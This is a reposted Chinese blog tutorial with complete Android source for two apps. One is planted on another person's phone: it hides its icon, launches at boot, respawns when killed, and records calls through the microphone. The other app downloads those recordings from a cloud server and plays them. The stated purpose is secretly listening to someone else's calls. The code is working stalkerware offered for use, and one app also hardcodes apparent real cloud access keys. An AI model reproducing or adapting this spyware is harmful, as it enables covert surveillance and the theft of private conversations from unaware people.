【Qzone】黑色星期二 好烦躁 通话录音 上传服务器 下载播放 亲测
来源:互联网 发布:淘宝网阳台红灯笼 编辑:程序博客网 时间:2024/04/29 11:05
2015-4-29 00:00
用自己手机和两舍友手机测试,可行!!
需求:A想在自己手机上监听听到B手机与C手机的通话记录。
分析:
在B手机上安装一个APP,那么这个APP要求有如下功能
1、隐藏图标
2、后台一直运行,开机就运行
3、任务管理器不能杀死,即使杀死也能重启动服务
4、有监听电话状态功能
5、有录音功能
6、有将文件上传到服务器的功能
而A手机上安装的一个APP ,功能就需要的简单一点:
1、从服务器下载文件
2、调用系统功能播放文件
那么本次比较重要的就服务器端的搭建,搞了三天,不容易啊。
所以记录一下步骤:
(服务器端)
1. 到 资源下载 页面下载 后端应用 war 包;
2. 到 Sina App Engine 官网 (下称SAE) 创建 一个Java应用;
3. 在 SAE 应用管理中的 代码管理 中 新建版本 并将步骤1 下载作为 默认war包上传 ;
4. 到 SAE 服务管理中的 KVDB 页面 点击 启用KVDB 数据库 ;
5. 到 SAE 服务管理中的 MySQL 页面 点击 启用初始化MySQL ,并导入统计的SQL语句 ;
6. 到 SAE 应用信息中的 汇总信息 页面中查看应用的accessKey和secretKey,并作为登入后端应用的用户名和密码。
(客户端)
1. 到 资源下载 页面下载 SDK 包;
2. 将 步骤1 下载的包(一个核心包cloudservice.jar和 两个依赖包 gson.jar httpmime.jar)导入开发的 Android 应用中;
3. 参见 SDK使用文档 来开发 Android应用。
(参见网址:http://cloudbaas.sinaapp.com/docs/started.jsp)
需求:A想在自己手机上监听听到B手机与C手机的通话记录。
分析:
在B手机上安装一个APP,那么这个APP要求有如下功能
1、隐藏图标
2、后台一直运行,开机就运行
3、任务管理器不能杀死,即使杀死也能重启动服务
4、有监听电话状态功能
5、有录音功能
6、有将文件上传到服务器的功能
而A手机上安装的一个APP ,功能就需要的简单一点:
1、从服务器下载文件
2、调用系统功能播放文件
那么本次比较重要的就服务器端的搭建,搞了三天,不容易啊。
所以记录一下步骤:
(服务器端)
1. 到 资源下载 页面下载 后端应用 war 包;
2. 到 Sina App Engine 官网 (下称SAE) 创建 一个Java应用;
3. 在 SAE 应用管理中的 代码管理 中 新建版本 并将步骤1 下载作为 默认war包上传 ;
4. 到 SAE 服务管理中的 KVDB 页面 点击 启用KVDB 数据库 ;
5. 到 SAE 服务管理中的 MySQL 页面 点击 启用初始化MySQL ,并导入统计的SQL语句 ;
6. 到 SAE 应用信息中的 汇总信息 页面中查看应用的accessKey和secretKey,并作为登入后端应用的用户名和密码。
(客户端)
1. 到 资源下载 页面下载 SDK 包;
2. 将 步骤1 下载的包(一个核心包cloudservice.jar和 两个依赖包 gson.jar httpmime.jar)导入开发的 Android 应用中;
3. 参见 SDK使用文档 来开发 Android应用。
(参见网址:http://cloudbaas.sinaapp.com/docs/started.jsp)
OK !!!上代码
B手机上的APP:
--清单文件
--/AutoOpenAppPhone/AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.devwang.autoopenapp"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="21" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<activity
android:name=".MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<!-- 隐藏图标 -->
<!-- <category android:name="android.intent.category.LAUNCHER" /> -->
</intent-filter>
</activity>
<service android:name="com.devwang.autoopenapp.AutoOpenService" >
</service>
<service android:name="com.devwang.autoopenapp.AutoOpenServicer" >
</service>
<receiver android:name=".BootBroadcastReciver" >
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
</application>
</manifest>
--布局文件
--/AutoOpenAppPhone/res/layout/activity_main.xml
--源代码
--主界面
/AutoOpenAppPhone/src/com/devwang/autoopenapp/MainActivity.java
//测试用 可不加
--广播接收者
--/AutoOpenAppPhone/src/com/devwang/autoopenapp/BootBroadcastReciver.java
--服务
--/AutoOpenAppPhone/src/com/devwang/autoopenapp/AutoOpenService.java
--/AutoOpenAppPhone/src/com/devwang/autoopenapp/AutoOpenServicer.java
A手机上的APP:--布局文件
--/AutoOpenAppPhone/res/layout/activity_main.xml
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context="com.devwang.autoopenapp.MainActivity" >
<TextView
android:id="@+id/tv"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:gravity="center"
android:textSize="60sp"
android:text="LOVE" />
</RelativeLayout>
--源代码
--主界面
/AutoOpenAppPhone/src/com/devwang/autoopenapp/MainActivity.java
package com.devwang.autoopenapp;
import android.annotation.TargetApi;
import android.app.Activity;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.os.StrictMode;
import android.widget.TextView;
@TargetApi(Build.VERSION_CODES.GINGERBREAD) public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
if (android.os.Build.VERSION.SDK_INT > 9) {
StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder()
.permitAll().build();
StrictMode.setThreadPolicy(policy);
}
TextView text = (TextView) findViewById(R.id.tv);
text.setText("LOVE!");
System.out.println("Service oncreate");
Intent i = new Intent(this, AutoOpenService.class);
startService(i);
//测试用 可不加
finish();
}
}
--/AutoOpenAppPhone/src/com/devwang/autoopenapp/BootBroadcastReciver.java
package com.devwang.autoopenapp;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
//开机启动完成的 广播接受者 在这里启动APP Activity
public class BootBroadcastReciver extends BroadcastReceiver {
static final String ACTION = "android.intent.action.BOOT_COMPLETED";
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
if (intent.getAction().equals(ACTION)) {
//自启动界面
//Intent i = new Intent(context, MainActivity.class);
//i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//context.startActivity(i);
//自启动服务
Intent i = new Intent(context, AutoOpenService.class);
i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startService(i);
}
}
}
--服务
--/AutoOpenAppPhone/src/com/devwang/autoopenapp/AutoOpenService.java
package com.devwang.autoopenapp;
import java.io.File;
import android.annotation.TargetApi;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Build;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import com.sina.sae.cloudservice.api.CloudClient;
import com.sina.sae.cloudservice.api.CloudFile;
import com.sina.sae.cloudservice.exception.CloudServiceException;
@TargetApi(Build.VERSION_CODES.GINGERBREAD)
public class AutoOpenService extends Service {
// 电话管理器
private TelephonyManager tm;
// 监听器对象
private MyListener listener;
// 声明录音机
private MediaRecorder mediaRecorder;
final private String appname = "***";
final private String ak = "***";
final private String sk = "***";
// final private String localpath = "sdcard/journey.jpg";
final private String localpath = "sdcard/aa.3gp";
// private File file;
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();
if (CloudClient.checkNetwork(this)) {
try {
CloudClient.init(this, appname, ak, sk);
} catch (CloudServiceException e) {
// TODO: handle exception
e.printStackTrace();
}
}
// 后台监听电话的呼叫状态。
// 得到电话管理器
tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
listener = new MyListener();
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
System.out.println("Servicer ondestory");
}
private class MyListener extends PhoneStateListener {
// 当电话的呼叫状态发生变化的时候调用的方法
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:// 空闲状态。
if (mediaRecorder != null) {
// 8.停止捕获
mediaRecorder.stop();
// 9.释放资源
mediaRecorder.release();
mediaRecorder = null;
System.out.println("录制完毕,上传文件到服务器。");
// if(file==null){
// System.out.println("null");
// }
System.out.println("start upload");
try {
boolean flag = CloudFile.upload(localpath);
System.out.println("uploading-->" + flag);
} catch (CloudServiceException e) {
// TODO Auto-generated catch block
e.printStackTrace();
System.out.println("upload:" + e);
}
System.out.println("end upload");
}
break;
case TelephonyManager.CALL_STATE_RINGING:// 零响状态。
break;
case TelephonyManager.CALL_STATE_OFFHOOK:// 通话状态
// 开始录音
// 1.实例化一个录音机
mediaRecorder = new MediaRecorder();
// 2.指定录音机的声音源
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//MIC可以 VOICE_CALL不可以
// 3.设置录制的文件输出的格式
mediaRecorder
.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
// 4.指定录音文件的名称
// File file = new File(
// Environment.getExternalStorageDirectory(),
// System.currentTimeMillis() + ".3gp");
File file = new File(
Environment.getExternalStorageDirectory(), "aa.3gp");
mediaRecorder.setOutputFile(file.getAbsolutePath());
// 5.设置音频的编码
mediaRecorder
.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
// 6.准备开始录音
mediaRecorder.prepare();
// 7.开始录音
mediaRecorder.start();
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
System.out.println("Servicer ondestory");
Intent i = new Intent(this, AutoOpenServicer.class);
startService(i);
}
}
--/AutoOpenAppPhone/src/com/devwang/autoopenapp/AutoOpenServicer.java
package com.devwang.autoopenapp;
import java.io.File;
import com.sina.sae.cloudservice.api.CloudClient;
import com.sina.sae.cloudservice.api.CloudFile;
import com.sina.sae.cloudservice.exception.CloudServiceException;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
public class AutoOpenServicer extends Service {
// 电话管理器
private TelephonyManager tm;
// 监听器对象
private MyListener listener;
// 声明录音机
private MediaRecorder mediaRecorder;
final private String appname = "***";
final private String ak = "***";
final private String sk = "***";
// final private String localpath = "sdcard/journey.jpg";
final private String localpath = "sdcard/aa.3gp";
// private File file;
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
// 服务创建的时候调用的方法
@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();
if (CloudClient.checkNetwork(this)) {
try {
CloudClient.init(this, appname, ak, sk);
} catch (CloudServiceException e) {
// TODO: handle exception
e.printStackTrace();
}
}
// 后台监听电话的呼叫状态。
// 得到电话管理器
tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
listener = new MyListener();
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
System.out.println("Service onCreate");
}
private class MyListener extends PhoneStateListener {
// 当电话的呼叫状态发生变化的时候调用的方法
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:// 空闲状态。
if (mediaRecorder != null) {
// 8.停止捕获
mediaRecorder.stop();
// 9.释放资源
mediaRecorder.release();
mediaRecorder = null;
System.out.println("录制完毕,上传文件到服务器。");
// 这里简单起见 只获取最近一次的通话录音 故在上传之前 先将服务器端的删除后再上传
// if (file == null) {
// System.out.println("null");
// }
System.out.println("start upload");
try {
boolean flag = CloudFile.upload(localpath);
System.out.println("uploading-->" + flag);
} catch (CloudServiceException e) {
// TODO Auto-generated catch block
e.printStackTrace();
System.out.println("upload:" + e);
}
System.out.println("end upload");
}
break;
case TelephonyManager.CALL_STATE_RINGING:// 零响状态。
break;
case TelephonyManager.CALL_STATE_OFFHOOK:// 通话状态
// 开始录音
// 1.实例化一个录音机
mediaRecorder = new MediaRecorder();
// 2.指定录音机的声音源
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//MIC可以 VOICE_CALL不可以
// 3.设置录制的文件输出的格式
mediaRecorder
.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
// 4.指定录音文件的名称
// 这里使用开始录音的时间作为文件名 为方便起见我们固定设置一个文件名如aa.3pg
// File file = new File(
// Environment.getExternalStorageDirectory(),
// System.currentTimeMillis() + ".3gp");
File file = new File(
Environment.getExternalStorageDirectory(), "aa.3gp");
mediaRecorder.setOutputFile(file.getAbsolutePath());
// 5.设置音频的编码
mediaRecorder
.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
// 6.准备开始录音
mediaRecorder.prepare();
// 7.开始录音
mediaRecorder.start();
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
// 守护进程 在次方法中 本服务会被销毁 此时可以启动新的服务
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
System.out.println("Service ondestory");
Intent i = new Intent(this, AutoOpenService.class);
startService(i);
}
}
--清单文件
--/AutoOpenAppPhone/AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.devwang.phoneplay"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="21" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<activity
android:name=".MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name=".MainActivity2"
android:label="@string/app_name" >
</activity>
</application>
--布局文件
--/PhonePlay/res/layout/activity_main.xml
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context="com.devwang.phoneplay.MainActivity" >
<Button
android:id="@+id/button1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_centerHorizontal="true"
android:layout_centerVertical="true"
android:textSize="40sp"
android:text="播放" />
<TextView
android:id="@+id/textView1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentTop="true"
android:layout_centerHorizontal="true"
android:layout_marginTop="76dp"
android:textSize="24sp"
android:text="按播放按钮,播放TA最近一次的通话录音!" />
<TextView
android:id="@+id/textView2"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignLeft="@+id/textView1"
android:layout_alignParentTop="true"
android:text="注意:TA的手机安装好那个APP后要关机重启"
android:textSize="24sp" />
--源代码
--/PhonePlay/src/com/devwang/phoneplay/MainActivity.java
使用方法:
在B手机安装B.apk 可以不要打开APP
将B手机关机重启
在A手机 安装A.apk
B与C或其他手机通电话
A手机打开APP 点击播放 OK
问题:只能录一方的声音 即只能录B方的声音
(换了个头像 哈哈哈)
--/PhonePlay/src/com/devwang/phoneplay/MainActivity.java
package com.devwang.phoneplay;
import android.annotation.SuppressLint;
import android.annotation.TargetApi;
import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.StrictMode;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import com.sina.sae.cloudservice.api.CloudClient;
import com.sina.sae.cloudservice.api.CloudFile;
import com.sina.sae.cloudservice.exception.CloudServiceException;
@TargetApi(Build.VERSION_CODES.GINGERBREAD) public class MainActivity extends Activity {
final private String appname = "appsitejava";
final private String ak = "z1zmx2xxyj";
final private String sk = "wi00lw3xz2x054myl0142jkyiiizmwi125w0w204";
// final private String localpath = "sdcard/aa.3gp";
private Button play_btn;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
if (android.os.Build.VERSION.SDK_INT > 9) {
StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder()
.permitAll().build();
StrictMode.setThreadPolicy(policy);
}
if (CloudClient.checkNetwork(this)) {
try {
CloudClient.init(this, appname, ak, sk);
} catch (CloudServiceException e) {
// TODO: handle exception
e.printStackTrace();
}
}
// 1.同步方式 获取云端路径为/text/readme.txt的文件
CloudFile file = null;
final String url;
try {
file = CloudFile.fetch("/sdcard/aa.3gp");
} catch (CloudServiceException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
url = file.getUrl();// 通过这个url可以直接访问云端文件
play_btn = (Button) findViewById(R.id.button1);
play_btn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
// 调用系统自带播放器
Intent intent = new Intent();
Uri uri = Uri.parse(url);
intent.setDataAndType(uri, "audio/*");
intent.setAction(Intent.ACTION_VIEW);
startActivity(intent);
}
});
}
}
使用方法:
在B手机安装B.apk 可以不要打开APP
将B手机关机重启
在A手机 安装A.apk
B与C或其他手机通电话
A手机打开APP 点击播放 OK
问题:只能录一方的声音 即只能录B方的声音
(换了个头像 哈哈哈)
0 0
- 【Qzone】黑色星期二 好烦躁 通话录音 上传服务器 下载播放 亲测
- 通话录音自动上传功能
- 黑色星期二
- 黑色星期二
- 实现录音,播放,以及Socket的上传和下载。。【处女作】
- 诺基亚5700通话录音软件下载
- 通话录音
- 好烦躁
- android录音播放并上传
- iOS 录音,播放并上传
- iOS 开发与安卓平台共通 实现录音文件的录制,上传,下载,播放
- phonegap实现手机录音功能并上传到服务器,同时下载缓存到手机
- android 之通话录音
- Android--通话录音
- android 通话录音功能
- 电话通话录音功能。
- Android--通话录音
- android实现通话录音
- 博客园 首页 新随笔 联系 管理 随笔 - 98 文章 - 0 评论 - 157 Android总结篇系列:Android Service
- 编译linux内核
- 原始的分享--菌02--这次我们分享一系列的软件吧 好多的
- Socket通信原理探讨(C++为例)
- 十大Intellij IDEA快捷键
- 【Qzone】黑色星期二 好烦躁 通话录音 上传服务器 下载播放 亲测
- 关于 SQL连接 的简短理解
- LeetCode 8. String to Integer (atoi)
- 微信小程序破解版环境搭建
- 数据集
- Linux应用随笔(二)命令行及图形方式安装对比
- 临界区概念及其管理要求
- OpenMP并行程序设计(一)
- C++基础笔记之二:选择排序